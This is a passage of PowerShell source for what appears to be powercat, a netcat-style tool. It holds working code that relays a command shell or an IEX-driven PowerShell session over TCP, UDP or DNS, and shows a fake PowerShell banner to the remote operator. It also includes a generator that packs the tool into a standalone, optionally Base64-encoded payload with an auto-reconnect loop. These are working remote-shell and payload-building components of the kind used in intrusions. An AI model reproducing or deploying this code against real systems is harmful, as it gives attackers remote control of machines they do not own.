$FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 516 | } 517 | return $Data,$FuncVars 518 | } 519 | function WriteData_TCP 520 | { 521 | param($Data,$FuncVars) 522 | $FuncVars["Stream"].Write($Data, 0, $Data.Length) 523 | return $FuncVars 524 | } 525 | function Close_TCP 526 | { 527 | param($FuncVars) 528 | try{$FuncVars["Stream"].Close()} 529 | catch{} 530 | if($FuncVars["l"]){$FuncVars["Socket"].Stop()} 531 | else{$FuncVars["Socket"].Close()} 532 | } 533 | ########## TCP FUNCTIONS ########## 534 | 535 | ########## CMD FUNCTIONS ########## 536 | function Setup_CMD 537 | { 538 | param($FuncSetupVars) 539 | if($global:Verbose){$Verbose = $True} 540 | $FuncVars = @{} 541 | $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo 542 | $ProcessStartInfo.FileName = $FuncSetupVars[0] 543 | $ProcessStartInfo.UseShellExecute = $False 544 | $ProcessStartInfo.RedirectStandardInput = $True 545 | $ProcessStartInfo.RedirectStandardOutput = $True 546 | $ProcessStartInfo.RedirectStandardError = $True 547 | $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo) 548 | Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...") 549 | $FuncVars["Process"].Start() | Out-Null 550 | $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536 551 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 552 | $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 553 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 554 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 555 | return $FuncVars 556 | } 557 | function ReadData_CMD 558 | { 559 | param($FuncVars) 560 | [byte[]]$Data = @() 561 | if($FuncVars["StdOutReadOperation"].IsCompleted) 562 | { 563 | $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"]) 564 | if($StdOutBytesRead -eq 0){break} 565 | $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)] 566 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 567 | } 568 | if($FuncVars["StdErrReadOperation"].IsCompleted) 569 | { 570 | $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"]) 571 | if($StdErrBytesRead -eq 0){break} 572 | $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)] 573 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 574 | } 575 | return $Data,$FuncVars 576 | } 577 | function WriteData_CMD 578 | { 579 | param($Data,$FuncVars) 580 | $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n")) 581 | return $FuncVars 582 | } 583 | function Close_CMD 584 | { 585 | param($FuncVars) 586 | $FuncVars["Process"] | Stop-Process 587 | } 588 | ########## CMD FUNCTIONS ########## 589 | 590 | ########## POWERSHELL FUNCTIONS ########## 591 | function Main_Powershell 592 | { 593 | param($Stream1SetupVars) 594 | try 595 | { 596 | $encoding = New-Object System.Text.AsciiEncoding 597 | [byte[]]$InputToWrite = @() 598 | if($i -ne $null) 599 | { 600 | Write-Verbose "Input from -i detected..." 601 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 602 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 603 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 604 | else{Write-Host "Unrecognised input type." ; return} 605 | } 606 | 607 | Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)" 608 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 609 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 610 | 611 | Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)" 612 | try 613 | { 614 | $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> ")) 615 | $Prompt = ("PS " + (pwd).Path + "> ") 616 | $CommandToExecute = "" 617 | $Data = $null 618 | } 619 | catch 620 | { 621 | Write-Verbose "Stream 2 Setup Failure" ; return 622 | } 623 | 624 | if($InputToWrite -ne @()) 625 | { 626 | Write-Verbose "Writing input to Stream 1..." 627 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 628 | catch{Write-Host "Failed to write input to Stream 1" ; return} 629 | } 630 | 631 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 632 | 633 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 634 | while($True) 635 | { 636 | try 637 | { 638 | ##### Stream2 Read ##### 639 | $Prompt = $null 640 | $ReturnedData = $null 641 | if($CommandToExecute -ne "") 642 | { 643 | try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} 644 | catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} 645 | $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) 646 | } 647 | $Data += $IntroPrompt 648 | $IntroPrompt = $null 649 | $Data += $ReturnedData 650 | $Data += $Prompt 651 | $CommandToExecute = "" 652 | ##### Stream2 Read ##### 653 | 654 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 655 | $Data = $null 656 | } 657 | catch 658 | { 659 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 660 | } 661 | 662 | try 663 | { 664 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 665 | if($Data.Length -eq 0){Start-Sleep -Milliseconds 100} 666 | if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)} 667 | $Data = $null 668 | } 669 | catch 670 | { 671 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 672 | } 673 | } 674 | } 675 | finally 676 | { 677 | try 678 | { 679 | Write-Verbose "Closing Stream 1..." 680 | Stream1_Close $Stream1Vars 681 | } 682 | catch 683 | { 684 | Write-Verbose "Failed to close Stream 1" 685 | } 686 | } 687 | } 688 | ########## POWERSHELL FUNCTIONS ########## 689 | 690 | ########## CONSOLE FUNCTIONS ########## 691 | function Setup_Console 692 | { 693 | param($FuncSetupVars) 694 | $FuncVars = @{} 695 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 696 | $FuncVars["Output"] = $FuncSetupVars[0] 697 | $FuncVars["OutputBytes"] = [byte[]]@() 698 | $FuncVars["OutputString"] = "" 699 | return $FuncVars 700 | } 701 | function ReadData_Console 702 | { 703 | param($FuncVars) 704 | $Data = $null 705 | if($Host.UI.RawUI.KeyAvailable) 706 | { 707 | $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n") 708 | } 709 | return $Data,$FuncVars 710 | } 711 | function WriteData_Console 712 | { 713 | param($Data,$FuncVars) 714 | switch($FuncVars["Output"]) 715 | { 716 | "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)} 717 | "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)} 718 | "Bytes" {$FuncVars["OutputBytes"] += $Data} 719 | } 720 | return $FuncVars 721 | } 722 | function Close_Console 723 | { 724 | param($FuncVars) 725 | if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]} 726 | elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]} 727 | return 728 | } 729 | ########## CONSOLE FUNCTIONS ########## 730 | 731 | ########## MAIN FUNCTION ########## 732 | function Main 733 | { 734 | param($Stream1SetupVars,$Stream2SetupVars) 735 | try 736 | { 737 | [byte[]]$InputToWrite = @() 738 | $Encoding = New-Object System.Text.AsciiEncoding 739 | if($i -ne $null) 740 | { 741 | Write-Verbose "Input from -i detected..." 742 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 743 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 744 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 745 | else{Write-Host "Unrecognised input type." ; return} 746 | } 747 | 748 | Write-Verbose "Setting up Stream 1..." 749 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 750 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 751 | 752 | Write-Verbose "Setting up Stream 2..." 753 | try{$Stream2Vars = Stream2_Setup $Stream2SetupVars} 754 | catch{Write-Verbose "Stream 2 Setup Failure" ; return} 755 | 756 | $Data = $null 757 | 758 | if($InputToWrite -ne @()) 759 | { 760 | Write-Verbose "Writing input to Stream 1..." 761 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 762 | catch{Write-Host "Failed to write input to Stream 1" ; return} 763 | } 764 | 765 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 766 | 767 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 768 | while($True) 769 | { 770 | try 771 | { 772 | $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars 773 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 774 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 775 | $Data = $null 776 | } 777 | catch 778 | { 779 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 780 | } 781 | 782 | try 783 | { 784 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 785 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 786 | if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars} 787 | $Data = $null 788 | } 789 | catch 790 | { 791 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 792 | } 793 | } 794 | } 795 | finally 796 | { 797 | try 798 | { 799 | #Write-Verbose "Closing Stream 2..." 800 | Stream2_Close $Stream2Vars 801 | } 802 | catch 803 | { 804 | Write-Verbose "Failed to close Stream 2" 805 | } 806 | try 807 | { 808 | #Write-Verbose "Closing Stream 1..." 809 | Stream1_Close $Stream1Vars 810 | } 811 | catch 812 | { 813 | Write-Verbose "Failed to close Stream 1" 814 | } 815 | } 816 | } 817 | ########## MAIN FUNCTION ########## 818 | 819 | ########## GENERATE PAYLOAD ########## 820 | if($u) 821 | { 822 | Write-Verbose "Set Stream 1: UDP" 823 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 824 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 825 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 826 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 827 | if($l){$InvokeString = "Main @('',`$True,'$p','$t') "} 828 | else{$InvokeString = "Main @('$c',`$False,'$p','$t') "} 829 | } 830 | elseif($dns -ne "") 831 | { 832 | Write-Verbose "Set Stream 1: DNS" 833 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 834 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 835 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 836 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 837 | if($l){return "This feature is not available."} 838 | else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "} 839 | } 840 | else 841 | { 842 | Write-Verbose "Set Stream 1: TCP" 843 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 844 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 845 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 846 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 847 | if($l){$InvokeString = "Main @('',`$True,$p,$t) "} 848 | else{$InvokeString = "Main @('$c',`$False,$p,$t) "} 849 | } 850 | 851 | if($e -ne "") 852 | { 853 | Write-Verbose "Set Stream 2: Process" 854 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n") 855 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n") 856 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n") 857 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n") 858 | $InvokeString += "@('$e')`n`n" 859 | } 860 | elseif($ep) 861 | { 862 | Write-Verbose "Set Stream 2: Powershell" 863 | $InvokeString += "`n`n" 864 | } 865 | elseif($r -ne "") 866 | { 867 | if($r.split(":")[0].ToLower() -eq "udp") 868 | { 869 | Write-Verbose "Set Stream 2: UDP" 870 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 871 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 872 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 873 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 874 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 875 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 876 | else{return "Bad relay format."} 877 | } 878 | if($r.split(":")[0].ToLower() -eq "dns") 879 | { 880 | Write-Verbose "Set Stream 2: DNS" 881 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 882 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 883 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 884 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 885 | if($r.split(":").Count -eq 2){return "This feature is not available."} 886 | elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")} 887 | else{return "Bad relay format."} 888 | } 889 | elseif($r.split(":")[0].ToLower() -eq "tcp") 890 | { 891 | Write-Verbose "Set Stream 2: TCP" 892 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 893 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 894 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 895 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 896 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 897 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 898 | else{return "Bad relay format."} 899 | } 900 | } 901 | else 902 | { 903 | Write-Verbose "Set Stream 2: Console" 904 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n") 905 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n") 906 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n") 907 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n") 908 | $InvokeString += ("@('" + $o + "')") 909 | } 910 | 911 | if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")} 912 | else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")} 913 | $InvokeString = ($FunctionString + $InvokeString) 914 | ########## GENERATE PAYLOAD ########## 915 | 916 | ########## RETURN GENERATED PAYLOADS ########## 917 | if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))} 918 | elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString} 919 | ########## RETURN GENERATED PAYLOADS ########## 920 | 921 | ########## EXECUTION ########## 922 | $Output = $null 923 | try 924 | { 925 | if($rep) 926 | { 927 | while($True) 928 | { 929 | $Output += IEX $InvokeString 930 | Start-Sleep -s 2 931 | Write-Verbose "Repetition Enabled: Restarting..." 932 | } 933 | } 934 | else 935 | { 936 | $Output += IEX $InvokeString 937 | } 938 | } 939 | finally 940 | { 941 | if($Output -ne $null) 942 | { 943 | if($of -eq ""){$Output} 944 | else{[io.file]::WriteAllBytes($of,$Output)} 945 | } 946 | } 947 | ########## EXECUTION ########## 948 | } 949 | --------------------------------------------------------------------------------